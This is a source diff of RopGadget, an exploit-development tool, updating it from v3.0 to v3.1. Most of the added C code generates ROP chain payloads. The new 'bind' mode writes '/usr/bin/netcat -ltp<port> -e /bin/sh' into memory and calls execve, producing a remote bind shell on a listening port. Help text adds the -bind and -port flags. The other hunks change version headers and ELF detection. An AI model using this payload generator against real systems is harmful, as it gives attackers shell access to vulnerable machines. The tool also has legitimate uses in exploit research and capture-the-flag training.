+  display_padding(how_many_pop_after(pop_stack_gadget, reg_stack));
+  fprintf(stdout, "\t\t%sp += pack(\"<I\", 0x%.8x) # %s%s\n", BLUE, addr_pop_binsh_gadget, pop_binsh_gadget, ENDC);
+  display_padding(how_many_pop_before(pop_binsh_gadget, reg_binsh));
+  fprintf(stdout, "\t\t%sp += \"r/bi\"%s\n", BLUE, ENDC);
+  display_padding(how_many_pop_after(pop_binsh_gadget, reg_binsh));
+  fprintf(stdout, "\t\t%sp += pack(\"<I\", 0x%.8x) # %s%s\n", BLUE, addr_mov_gadget, mov_gadget, ENDC);
+  display_padding(how_many_pop(mov_gadget));
+  /*******************EOF*********************/
+
+  /*****************\n/ne*********************/
+  fprintf(stdout, "\t\t%sp += pack(\"<I\", 0x%.8x) # %s%s\n", BLUE, addr_pop_stack_gadget, pop_stack_gadget, ENDC);
+  display_padding(how_many_pop_before(pop_stack_gadget, reg_stack));
+  fprintf(stdout, "\t\t%sp += pack(\"<I\", 0x%.8x) # @ .data + 8%s\n", BLUE, Addr_sData + 8, ENDC);
+  display_padding(how_many_pop_after(pop_stack_gadget, reg_stack));
+  fprintf(stdout, "\t\t%sp += pack(\"<I\", 0x%.8x) # %s%s\n", BLUE, addr_pop_binsh_gadget, pop_binsh_gadget, ENDC);
+  display_padding(how_many_pop_before(pop_binsh_gadget, reg_binsh));
+  fprintf(stdout, "\t\t%sp += \"n/ne\"%s\n", BLUE, ENDC);
+  display_padding(how_many_pop_after(pop_binsh_gadget, reg_binsh));
+  fprintf(stdout, "\t\t%sp += pack(\"<I\", 0x%.8x) # %s%s\n", BLUE, addr_mov_gadget, mov_gadget, ENDC);
+  display_padding(how_many_pop(mov_gadget));
+  /*******************EOF*********************/
+
+  /******************tcat*********************/
+  fprintf(stdout, "\t\t%sp += pack(\"<I\", 0x%.8x) # %s%s\n", BLUE, addr_pop_stack_gadget, pop_stack_gadget, ENDC);
+  display_padding(how_many_pop_before(pop_stack_gadget, reg_stack));
+  fprintf(stdout, "\t\t%sp += pack(\"<I\", 0x%.8x) # @ .data + 12%s\n", BLUE, Addr_sData + 12, ENDC);
+  display_padding(how_many_pop_after(pop_stack_gadget, reg_stack));
+  fprintf(stdout, "\t\t%sp += pack(\"<I\", 0x%.8x) # %s%s\n", BLUE, addr_pop_binsh_gadget, pop_binsh_gadget, ENDC);
+  display_padding(how_many_pop_before(pop_binsh_gadget, reg_binsh));
+  fprintf(stdout, "\t\t%sp += \"tcat\"%s\n", BLUE, ENDC);
+  display_padding(how_many_pop_after(pop_binsh_gadget, reg_binsh));
+  fprintf(stdout, "\t\t%sp += pack(\"<I\", 0x%.8x) # %s%s\n", BLUE, addr_mov_gadget, mov_gadget, ENDC);
+  display_padding(how_many_pop(mov_gadget));
+  /*******************EOF*********************/
+
+  /******************\0***********************/
+  fprintf(stdout, "\t\t%sp += pack(\"<I\", 0x%.8x) # %s%s\n", BLUE, addr_pop_stack_gadget, pop_stack_gadget, ENDC);
+  display_padding(how_many_pop_before(pop_stack_gadget, reg_stack));
+  fprintf(stdout, "\t\t%sp += pack(\"<I\", 0x%.8x) # @ .data + 16%s\n", BLUE, Addr_sData + 16, ENDC);
+  display_padding(how_many_pop_after(pop_stack_gadget, reg_stack));
+  fprintf(stdout, "\t\t%sp += pack(\"<I\", 0x%.8x) # %s%s\n", BLUE, addr_xor_gadget, xor_gadget, ENDC);
+  display_padding(how_many_pop(xor_gadget));
+  fprintf(stdout, "\t\t%sp += pack(\"<I\", 0x%.8x) # %s%s\n", BLUE, addr_mov_gadget, mov_gadget, ENDC);
+  display_padding(how_many_pop(mov_gadget));
+  /******************EOF**********************/
+
+
+
+
+  /******************-ltp*********************/
+  fprintf(stdout, "\t\t%sp += pack(\"<I\", 0x%.8x) # %s%s\n", BLUE, addr_pop_stack_gadget, pop_stack_gadget, ENDC);
+  display_padding(how_many_pop_before(pop_stack_gadget, reg_stack));
+  fprintf(stdout, "\t\t%sp += pack(\"<I\", 0x%.8x) # @ .data + 17%s\n", BLUE, Addr_sData + 17, ENDC);
+  display_padding(how_many_pop_after(pop_stack_gadget, reg_stack));
+  fprintf(stdout, "\t\t%sp += pack(\"<I\", 0x%.8x) # %s%s\n", BLUE, addr_pop_binsh_gadget, pop_binsh_gadget, ENDC);
+  display_padding(how_many_pop_before(pop_binsh_gadget, reg_binsh));
+  fprintf(stdout, "\t\t%sp += \"-ltp\"%s\n", BLUE, ENDC);
+  display_padding(how_many_pop_after(pop_binsh_gadget, reg_binsh));
+  fprintf(stdout, "\t\t%sp += pack(\"<I\", 0x%.8x) # %s%s\n", BLUE, addr_mov_gadget, mov_gadget, ENDC);
+  display_padding(how_many_pop(mov_gadget));
+  /*******************EOF*********************/
+
+  /******************<PORT>*******************/
+  fprintf(stdout, "\t\t%sp += pack(\"<I\", 0x%.8x) # %s%s\n", BLUE, addr_pop_stack_gadget, pop_stack_gadget, ENDC);
+  display_padding(how_many_pop_before(pop_stack_gadget, reg_stack));
+  fprintf(stdout, "\t\t%sp += pack(\"<I\", 0x%.8x) # @ .data + 21%s\n", BLUE, Addr_sData + 21, ENDC);
+  display_padding(how_many_pop_after(pop_stack_gadget, reg_stack));
+  fprintf(stdout, "\t\t%sp += pack(\"<I\", 0x%.8x) # %s%s\n", BLUE, addr_pop_binsh_gadget, pop_binsh_gadget, ENDC);
+  display_padding(how_many_pop_before(pop_binsh_gadget, reg_binsh));
+  fprintf(stdout, "\t\t%sp += \"%s\"%s\n", BLUE, bind_mode.port, ENDC);
+  display_padding(how_many_pop_after(pop_binsh_gadget, reg_binsh));
+  fprintf(stdout, "\t\t%sp += pack(\"<I\", 0x%.8x) # %s%s\n", BLUE, addr_mov_gadget, mov_gadget, ENDC);
+  display_padding(how_many_pop(mov_gadget));
+  /*******************EOF*********************/
+
+  /******************\0***********************/
+  fprintf(stdout, "\t\t%sp += pack(\"<I\", 0x%.8x) # %s%s\n", BLUE, addr_pop_stack_gadget, pop_stack_gadget, ENDC);
+  display_padding(how_many_pop_before(pop_stack_gadget, reg_stack));
+  fprintf(stdout, "\t\t%sp += pack(\"<I\", 0x%.8x) # @ .data + 25%s\n", BLUE, Addr_sData + 25, ENDC);
+  display_padding(how_many_pop_after(pop_stack_gadget, reg_stack));
+  fprintf(stdout, "\t\t%sp += pack(\"<I\", 0x%.8x) # %s%s\n", BLUE, addr_xor_gadget, xor_gadget, ENDC);
+  display_padding(how_many_pop(xor_gadget));
+  fprintf(stdout, "\t\t%sp += pack(\"<I\", 0x%.8x) # %s%s\n", BLUE, addr_mov_gadget, mov_gadget, ENDC);
+  display_padding(how_many_pop(mov_gadget));
+  /******************EOF**********************/
+
+
+
+  /******************-e//\********************/
+  fprintf(stdout, "\t\t%sp += pack(\"<I\", 0x%.8x) # %s%s\n", BLUE, addr_pop_stack_gadget, pop_stack_gadget, ENDC);
+  display_padding(how_many_pop_before(pop_stack_gadget, reg_stack));
+  fprintf(stdout, "\t\t%sp += pack(\"<I\", 0x%.8x) # @ .data + 26%s\n", BLUE, Addr_sData + 26, ENDC);
+  display_padding(how_many_pop_after(pop_stack_gadget, reg_stack));
+  fprintf(stdout, "\t\t%sp += pack(\"<I\", 0x%.8x) # %s%s\n", BLUE, addr_pop_binsh_gadget, pop_binsh_gadget, ENDC);
+  display_padding(how_many_pop_before(pop_binsh_gadget, reg_binsh));
+  fprintf(stdout, "\t\t%sp += \"-e//\"%s\n", BLUE, ENDC);
+  display_padding(how_many_pop_after(pop_binsh_gadget, reg_binsh));
+  fprintf(stdout, "\t\t%sp += pack(\"<I\", 0x%.8x) # %s%s\n", BLUE, addr_mov_gadget, mov_gadget, ENDC);
+  display_padding(how_many_pop(mov_gadget));
+  /*******************EOF*********************/
+
+  /*****************\/bin*********************/
+  fprintf(stdout, "\t\t%sp += pack(\"<I\", 0x%.8x) # %s%s\n", BLUE, addr_pop_stack_gadget, pop_stack_gadget, ENDC);
+  display_padding(how_many_pop_before(pop_stack_gadget, reg_stack));
+  fprintf(stdout, "\t\t%sp += pack(\"<I\", 0x%.8x) # @ .data + 30%s\n", BLUE, Addr_sData + 30, ENDC);
+  display_padding(how_many_pop_after(pop_stack_gadget, reg_stack));
+  fprintf(stdout, "\t\t%sp += pack(\"<I\", 0x%.8x) # %s%s\n", BLUE, addr_pop_binsh_gadget, pop_binsh_gadget, ENDC);
+  display_padding(how_many_pop_before(pop_binsh_gadget, reg_binsh));
+  fprintf(stdout, "\t\t%sp += \"/bin\"%s\n", BLUE, ENDC);
+  display_padding(how_many_pop_after(pop_binsh_gadget, reg_binsh));
+  fprintf(stdout, "\t\t%sp += pack(\"<I\", 0x%.8x) # %s%s\n", BLUE, addr_mov_gadget, mov_gadget, ENDC);
+  display_padding(how_many_pop(mov_gadget));
+  /*******************EOF*********************/
+
+  /******************\//sh********************/
+  fprintf(stdout, "\t\t%sp += pack(\"<I\", 0x%.8x) # %s%s\n", BLUE, addr_pop_stack_gadget, pop_stack_gadget, ENDC);
+  display_padding(how_many_pop_before(pop_stack_gadget, reg_stack));
+  fprintf(stdout, "\t\t%sp += pack(\"<I\", 0x%.8x) # @ .data + 34%s\n", BLUE, Addr_sData + 34, ENDC);
+  display_padding(how_many_pop_after(pop_stack_gadget, reg_stack));
+  fprintf(stdout, "\t\t%sp += pack(\"<I\", 0x%.8x) # %s%s\n", BLUE, addr_pop_binsh_gadget, pop_binsh_gadget, ENDC);
+  display_padding(how_many_pop_before(pop_binsh_gadget, reg_binsh));
+  fprintf(stdout, "\t\t%sp += \"//sh\"%s\n", BLUE, ENDC);
+  display_padding(how_many_pop_after(pop_binsh_gadget, reg_binsh));
+  fprintf(stdout, "\t\t%sp += pack(\"<I\", 0x%.8x) # %s%s\n", BLUE, addr_mov_gadget, mov_gadget, ENDC);
+  display_padding(how_many_pop(mov_gadget));
+  /*******************EOF*********************/
+
+  /******************\0***********************/
+  fprintf(stdout, "\t\t%sp += pack(\"<I\", 0x%.8x) # %s%s\n", BLUE, addr_pop_stack_gadget, pop_stack_gadget, ENDC);
+  display_padding(how_many_pop_before(pop_stack_gadget, reg_stack));
+  fprintf(stdout, "\t\t%sp += pack(\"<I\", 0x%.8x) # @ .data + 38%s\n", BLUE, Addr_sData + 38, ENDC);
+  display_padding(how_many_pop_after(pop_stack_gadget, reg_stack));
+  fprintf(stdout, "\t\t%sp += pack(\"<I\", 0x%.8x) # %s%s\n", BLUE, addr_xor_gadget, xor_gadget, ENDC);
+  display_padding(how_many_pop(xor_gadget));
+  fprintf(stdout, "\t\t%sp += pack(\"<I\", 0x%.8x) # %s%s\n", BLUE, addr_mov_gadget, mov_gadget, ENDC);
+  display_padding(how_many_pop(mov_gadget));
+  /******************EOF**********************/
+
+
+  /*********************************** make now arg_tab[] ***********************************/
+  /*
+  ** data + 0  = "//usr/bin/netcat"
+  ** data + 17 = "-ltp6666"
+  ** data + 26 = "-e///bin//sh"
+  **                          ^
+  **                          +-- data + 38
+  **
+  ** data + 40 = data + 0
+  ** data + 44 = data + 17
+  ** data + 48 = data + 26
+  ** data + 52 = NULL
+  */
+
+  /****************** data + 0 ********************/
+  fprintf(stdout, "\t\t%sp += pack(\"<I\", 0x%.8x) # %s%s\n", BLUE, addr_pop_stack_gadget, pop_stack_gadget, ENDC);
+  display_padding(how_many_pop_before(pop_stack_gadget, reg_stack));
+  fprintf(stdout, "\t\t%sp += pack(\"<I\", 0x%.8x) # @ .data + 40%s\n", BLUE, Addr_sData + 40, ENDC);
+  display_padding(how_many_pop_after(pop_stack_gadget, reg_stack));
+  fprintf(stdout, "\t\t%sp += pack(\"<I\", 0x%.8x) # %s%s\n", BLUE, addr_pop_binsh_gadget, pop_binsh_gadget, ENDC);
+  display_padding(how_many_pop_before(pop_binsh_gadget, reg_binsh));
+  fprintf(stdout, "\t\t%sp += pack(\"<I\", 0x%.8x) # @ .data%s\n", BLUE, Addr_sData, ENDC);
+  display_padding(how_many_pop_after(pop_binsh_gadget, reg_binsh));
+  fprintf(stdout, "\t\t%sp += pack(\"<I\", 0x%.8x) # %s%s\n", BLUE, addr_mov_gadget, mov_gadget, ENDC);
+  display_padding(how_many_pop(mov_gadget));
+  /*******************  EOF  **********************/
+
+  /****************** data + 17 ********************/
+  fprintf(stdout, "\t\t%sp += pack(\"<I\", 0x%.8x) # %s%s\n", BLUE, addr_pop_stack_gadget, pop_stack_gadget, ENDC);
+  display_padding(how_many_pop_before(pop_stack_gadget, reg_stack));
+  fprintf(stdout, "\t\t%sp += pack(\"<I\", 0x%.8x) # @ .data + 44%s\n", BLUE, Addr_sData + 44, ENDC);
+  display_padding(how_many_pop_after(pop_stack_gadget, reg_stack));
+  fprintf(stdout, "\t\t%sp += pack(\"<I\", 0x%.8x) # %s%s\n", BLUE, addr_pop_binsh_gadget, pop_binsh_gadget, ENDC);
+  display_padding(how_many_pop_before(pop_binsh_gadget, reg_binsh));
+  fprintf(stdout, "\t\t%sp += pack(\"<I\", 0x%.8x) # @ .data + 17%s\n", BLUE, Addr_sData + 17, ENDC);
+  display_padding(how_many_pop_after(pop_binsh_gadget, reg_binsh));
+  fprintf(stdout, "\t\t%sp += pack(\"<I\", 0x%.8x) # %s%s\n", BLUE, addr_mov_gadget, mov_gadget, ENDC);
+  display_padding(how_many_pop(mov_gadget));
+  /*******************  EOF  **********************/
+
+  /****************** data + 17 ********************/
+  fprintf(stdout, "\t\t%sp += pack(\"<I\", 0x%.8x) # %s%s\n", BLUE, addr_pop_stack_gadget, pop_stack_gadget, ENDC);
+  display_padding(how_many_pop_before(pop_stack_gadget, reg_stack));
+  fprintf(stdout, "\t\t%sp += pack(\"<I\", 0x%.8x) # @ .data + 48%s\n", BLUE, Addr_sData + 48, ENDC);
+  display_padding(how_many_pop_after(pop_stack_gadget, reg_stack));
+  fprintf(stdout, "\t\t%sp += pack(\"<I\", 0x%.8x) # %s%s\n", BLUE, addr_pop_binsh_gadget, pop_binsh_gadget, ENDC);
+  display_padding(how_many_pop_before(pop_binsh_gadget, reg_binsh));
+  fprintf(stdout, "\t\t%sp += pack(\"<I\", 0x%.8x) # @ .data + 26%s\n", BLUE, Addr_sData + 26, ENDC);
+  display_padding(how_many_pop_after(pop_binsh_gadget, reg_binsh));
+  fprintf(stdout, "\t\t%sp += pack(\"<I\", 0x%.8x) # %s%s\n", BLUE, addr_mov_gadget, mov_gadget, ENDC);
+  display_padding(how_many_pop(mov_gadget));
+  /*******************  EOF  **********************/
+
+  /****************** \0 [1] ***********************/
+  fprintf(stdout, "\t\t%sp += pack(\"<I\", 0x%.8x) # %s%s\n", BLUE, addr_pop_stack_gadget, pop_stack_gadget, ENDC);
+  display_padding(how_many_pop_before(pop_stack_gadget, reg_stack));
+  fprintf(stdout, "\t\t%sp += pack(\"<I\", 0x%.8x) # @ .data + 52%s\n", BLUE, Addr_sData + 52, ENDC);
+  display_padding(how_many_pop_after(pop_stack_gadget, reg_stack));
+  fprintf(stdout, "\t\t%sp += pack(\"<I\", 0x%.8x) # %s%s\n", BLUE, addr_xor_gadget, xor_gadget, ENDC);
+  display_padding(how_many_pop(xor_gadget));
+  fprintf(stdout, "\t\t%sp += pack(\"<I\", 0x%.8x) # %s%s\n", BLUE, addr_mov_gadget, mov_gadget, ENDC);
+  display_padding(how_many_pop(mov_gadget));
+  /****************** EOF **************************/
+
+  /****************** \0 [2] ***********************/
+  fprintf(stdout, "\t\t%sp += pack(\"<I\", 0x%.8x) # %s%s\n", BLUE, addr_pop_stack_gadget, pop_stack_gadget, ENDC);
+  display_padding(how_many_pop_before(pop_stack_gadget, reg_stack));
+  fprintf(stdout, "\t\t%sp += pack(\"<I\", 0x%.8x) # @ .data + 53%s\n", BLUE, Addr_sData + 53, ENDC);
+  display_padding(how_many_pop_after(pop_stack_gadget, reg_stack));
+  fprintf(stdout, "\t\t%sp += pack(\"<I\", 0x%.8x) # %s%s\n", BLUE, addr_xor_gadget, xor_gadget, ENDC);
+  display_padding(how_many_pop(xor_gadget));
+  fprintf(stdout, "\t\t%sp += pack(\"<I\", 0x%.8x) # %s%s\n", BLUE, addr_mov_gadget, mov_gadget, ENDC);
+  display_padding(how_many_pop(mov_gadget));
+  /****************** EOF **************************/
+
+  /****************** \0 [3] ***********************/
+  fprintf(stdout, "\t\t%sp += pack(\"<I\", 0x%.8x) # %s%s\n", BLUE, addr_pop_stack_gadget, pop_stack_gadget, ENDC);
+  display_padding(how_many_pop_before(pop_stack_gadget, reg_stack));
+  fprintf(stdout, "\t\t%sp += pack(\"<I\", 0x%.8x) # @ .data + 54%s\n", BLUE, Addr_sData + 54, ENDC);
+  display_padding(how_many_pop_after(pop_stack_gadget, reg_stack));
+  fprintf(stdout, "\t\t%sp += pack(\"<I\", 0x%.8x) # %s%s\n", BLUE, addr_xor_gadget, xor_gadget, ENDC);
+  display_padding(how_many_pop(xor_gadget));
+  fprintf(stdout, "\t\t%sp += pack(\"<I\", 0x%.8x) # %s%s\n", BLUE, addr_mov_gadget, mov_gadget, ENDC);
+  display_padding(how_many_pop(mov_gadget));
+  /****************** EOF **************************/
+
+  /****************** \0 [4] ***********************/
+  fprintf(stdout, "\t\t%sp += pack(\"<I\", 0x%.8x) # %s%s\n", BLUE, addr_pop_stack_gadget, pop_stack_gadget, ENDC);
+  display_padding(how_many_pop_before(pop_stack_gadget, reg_stack));
+  fprintf(stdout, "\t\t%sp += pack(\"<I\", 0x%.8x) # @ .data + 55%s\n", BLUE, Addr_sData + 55, ENDC);
+  display_padding(how_many_pop_after(pop_stack_gadget, reg_stack));
+  fprintf(stdout, "\t\t%sp += pack(\"<I\", 0x%.8x) # %s%s\n", BLUE, addr_xor_gadget, xor_gadget, ENDC);
+  display_padding(how_many_pop(xor_gadget));
+  fprintf(stdout, "\t\t%sp += pack(\"<I\", 0x%.8x) # %s%s\n", BLUE, addr_mov_gadget, mov_gadget, ENDC);
+  display_padding(how_many_pop(mov_gadget));
+  /****************** EOF **************************/
+
+  /**************************************** EOF *********************************************/
+
+  free(first_reg);
+  free(second_reg);
+}
+
+/* partie 2 init reg => %ebx = "/bin/sh\0" | %ecx = "\0" | %edx = "\0"  for execve("/bin/sh", NULL, NULL)*/
+static void makepartie2_local(t_makecode *list_ins)
 {
   Elf32_Addr addr_pop_ebx;
   Elf32_Addr addr_pop_ecx;
@@ -291,7 +590,43 @@ static void makepartie2(t_makecode *list_ins)
   display_padding(how_many_pop_after(pop_edx_gadget, "pop %edx"));
 }
 
-/* init eax = 0xb (execve) */
+/* partie 2 init reg => %ebx = "/usb/bin/netcat\0" | %ecx = arg | %edx = "\0" */
+static void makepartie2_remote(t_makecode *list_ins)
+{
+  Elf32_Addr addr_pop_ebx;
+  Elf32_Addr addr_pop_ecx;
+  Elf32_Addr addr_pop_edx;
+  char *pop_ebx_gadget;
+  char *pop_ecx_gadget;
+  char *pop_edx_gadget;
+
+  addr_pop_ebx = ret_addr_makecodefunc(list_ins, "pop %ebx");
+  addr_pop_ecx = ret_addr_makecodefunc(list_ins, "pop %ecx");
+  addr_pop_edx = ret_addr_makecodefunc(list_ins, "pop %edx");
+  pop_ebx_gadget = get_gadget_since_addr(addr_pop_ebx);
+  pop_ecx_gadget = get_gadget_since_addr(addr_pop_ecx);
+  pop_edx_gadget = get_gadget_since_addr(addr_pop_edx);
+
+  /* set %ebx */
+  fprintf(stdout, "\t\t%sp += pack(\"<I\", 0x%.8x) # %s%s\n", BLUE, addr_pop_ebx, pop_ebx_gadget, ENDC);
+  display_padding(how_many_pop_before(pop_ebx_gadget, "pop %ebx"));
+  fprintf(stdout, "\t\t%sp += pack(\"<I\", 0x%.8x) # @ .data%s\n", BLUE, Addr_sData, ENDC);
+  display_padding(how_many_pop_after(pop_ebx_gadget, "pop %ebx"));
+
+  /* set %ecx */
+  fprintf(stdout, "\t\t%sp += pack(\"<I\", 0x%.8x) # %s%s\n", BLUE, addr_pop_ecx, pop_ecx_gadget, ENDC);
+  display_padding(how_many_pop_before(pop_ecx_gadget, "pop %ecx"));
+  fprintf(stdout, "\t\t%sp += pack(\"<I\", 0x%.8x) # @ .data + 40%s\n", BLUE, Addr_sData + 40, ENDC);
+  display_padding(how_many_pop_after(pop_ecx_gadget, "pop %ecx"));
+
+  /* set %edx */
+  fprintf(stdout, "\t\t%sp += pack(\"<I\", 0x%.8x) # %s%s\n", BLUE, addr_pop_edx, pop_edx_gadget, ENDC);
+  display_padding(how_many_pop_before(pop_edx_gadget, "pop %edx"));
+  fprintf(stdout, "\t\t%sp += pack(\"<I\", 0x%.8x) # @ .data + 52%s\n", BLUE, Addr_sData + 52, ENDC);
+  display_padding(how_many_pop_after(pop_edx_gadget, "pop %edx"));
+}
+
+/* partie 3 init eax = 0xb (execve) */
 static void makepartie3(t_makecode *list_ins)
 {
   Elf32_Addr addr_xor_eax;
@@ -318,7 +653,7 @@ static void makepartie3(t_makecode *list_ins)
     }
 }
 
-/* call "int 0x80" or "sysenter" */
+/* partie 4 call "int 0x80" or "sysenter" */
 static void makepartie4(t_makecode *list_ins)
 {
   Elf32_Addr addr_int_0x80;
@@ -343,8 +678,16 @@ static void makepartie4(t_makecode *list_ins)
 
 void makecode(t_makecode *list_ins)
 {
-  makepartie1(list_ins);
-  makepartie2(list_ins);
+  if (!bind_mode.flag)
+    {
+      makepartie1_local(list_ins);
+      makepartie2_local(list_ins);
+    }
+  else
+    {
+      makepartie1_remote(list_ins);
+      makepartie2_remote(list_ins);
+    }
   makepartie3(list_ins);
   makepartie4(list_ins);
   fprintf(stdout, "\t%sEOF Payload%s\n", YELLOW, ENDC);
diff --git a/src/ropmaker.c b/src/ropmaker.c
index 7d0a12e..c6c97ba 100644
--- a/src/ropmaker.c
+++ b/src/ropmaker.c
@@ -1,7 +1,8 @@
 /*
-** RopGadget - Release v3.0
-** Jonathan Salwan - http://shell-storm.org - http://twitter.com/shell_storm
-** 2011-08-01
+** RopGadget - Release v3.1
+** Jonathan Salwan - http://twitter.com/JonathanSalwan
+** http://shell-storm.org
+** 2011-09-05
 **
 ** Redistribution and use in source and binary forms, with or without
 ** modification, are permitted provided that the following conditions
diff --git a/src/save_bin_data.c b/src/save_bin_data.c
index 37fda72..441fbc6 100644
--- a/src/save_bin_data.c
+++ b/src/save_bin_data.c
@@ -1,7 +1,8 @@
 /*
-** RopGadget - Release v3.0
-** Jonathan Salwan - http://shell-storm.org - http://twitter.com/shell_storm
-** 2011-08-01
+** RopGadget - Release v3.1
+** Jonathan Salwan - http://twitter.com/JonathanSalwan
+** http://shell-storm.org
+** 2011-09-05
 **
 ** Redistribution and use in source and binary forms, with or without
 ** modification, are permitted provided that the following conditions
diff --git a/src/search_gadgets.c b/src/search_gadgets.c
index 70f33c5..c7359f1 100644
--- a/src/search_gadgets.c
+++ b/src/search_gadgets.c
@@ -1,7 +1,8 @@
 /*
-** RopGadget - Release v3.0
-** Jonathan Salwan - http://shell-storm.org - http://twitter.com/shell_storm
-** 2011-08-01
+** RopGadget - Release v3.1
+** Jonathan Salwan - http://twitter.com/JonathanSalwan
+** http://shell-storm.org
+** 2011-09-05
 **
 ** Redistribution and use in source and binary forms, with or without
 ** modification, are permitted provided that the following conditions
@@ -15,7 +16,8 @@
 
 #include "ropgadget.h"
 
-#define LINUX    pElf_Header->e_ident[EI_OSABI] == ELFOSABI_NONE
+#define UNIX     pElf_Header->e_ident[EI_OSABI] == ELFOSABI_NONE
+#define LINUX    pElf_Header->e_ident[EI_OSABI] == ELFOSABI_LINUX
 #define FREEBSD  pElf_Header->e_ident[EI_OSABI] == ELFOSABI_FREEBSD
 #define ELF_F    pElf_Header->e_ident[EI_CLASS] == ELFCLASS32
 #define PROC     pElf_Header->e_machine == EM_386
@@ -34,7 +36,7 @@ void search_gadgets(unsigned char *data, unsigned int size_data)
   fprintf(stdout, "============================================================%s\n", ENDC);
 
   /* Linux/x86-32bits & FreeBSD/x86-32bits*/
-  if (ELF_F && (LINUX || FREEBSD) && PROC)
+  if (ELF_F && (UNIX || LINUX || FREEBSD) && PROC)
     x8632(data, size_data, maps_exec);
 
   fprintf(stdout, "\n\n%sPossible combinations.\n", YELLOW);
diff --git a/src/syntax.c b/src/syntax.c
index f2ce5f2..aedee49 100644
--- a/src/syntax.c
+++ b/src/syntax.c
@@ -1,7 +1,8 @@
 /*
-** RopGadget - Release v3.0
-** Jonathan Salwan - http://shell-storm.org - http://twitter.com/shell_storm
-** 2011-08-01
+** RopGadget - Release v3.1
+** Jonathan Salwan - http://twitter.com/JonathanSalwan
+** http://shell-storm.org
+** 2011-09-05
 **
 ** Redistribution and use in source and binary forms, with or without
 ** modification, are permitted provided that the following conditions
@@ -17,10 +18,15 @@
 
 void syntax(char *str)
 {
-  fprintf(stderr, "Syntax : %s <option> <binary>\n\n", str);
-  fprintf(stderr, "Options: -d  Dump Hexadecimal\n");
-  fprintf(stderr, "         -g  Search gadgets and make payload\n");
-  fprintf(stderr, "         -v  Version\n");
+  fprintf(stderr, "Syntax : %s <option> <binary> [FLAGS]\n\n", str);
+  fprintf(stderr, "Options: \n");
+  fprintf(stderr, "         -d      Dump Hexadecimal\n");
+  fprintf(stderr, "         -g      Search gadgets and make payload\n");
+  fprintf(stderr, "         -v      Version\n");
+  fprintf(stderr, "Flags: \n");
+  fprintf(stderr, "         -bind   Set this flag for make a bind shellcode (optional) (Default local exploit)\n");
+  fprintf(stderr, "         -port   Set a listen port, optional (Default 1337)\n\n");
+  fprintf(stderr, "Ex:      %s -g ./smashme.bin -bind -port 8080\n", str);
 
   exit(EXIT_FAILURE);
 }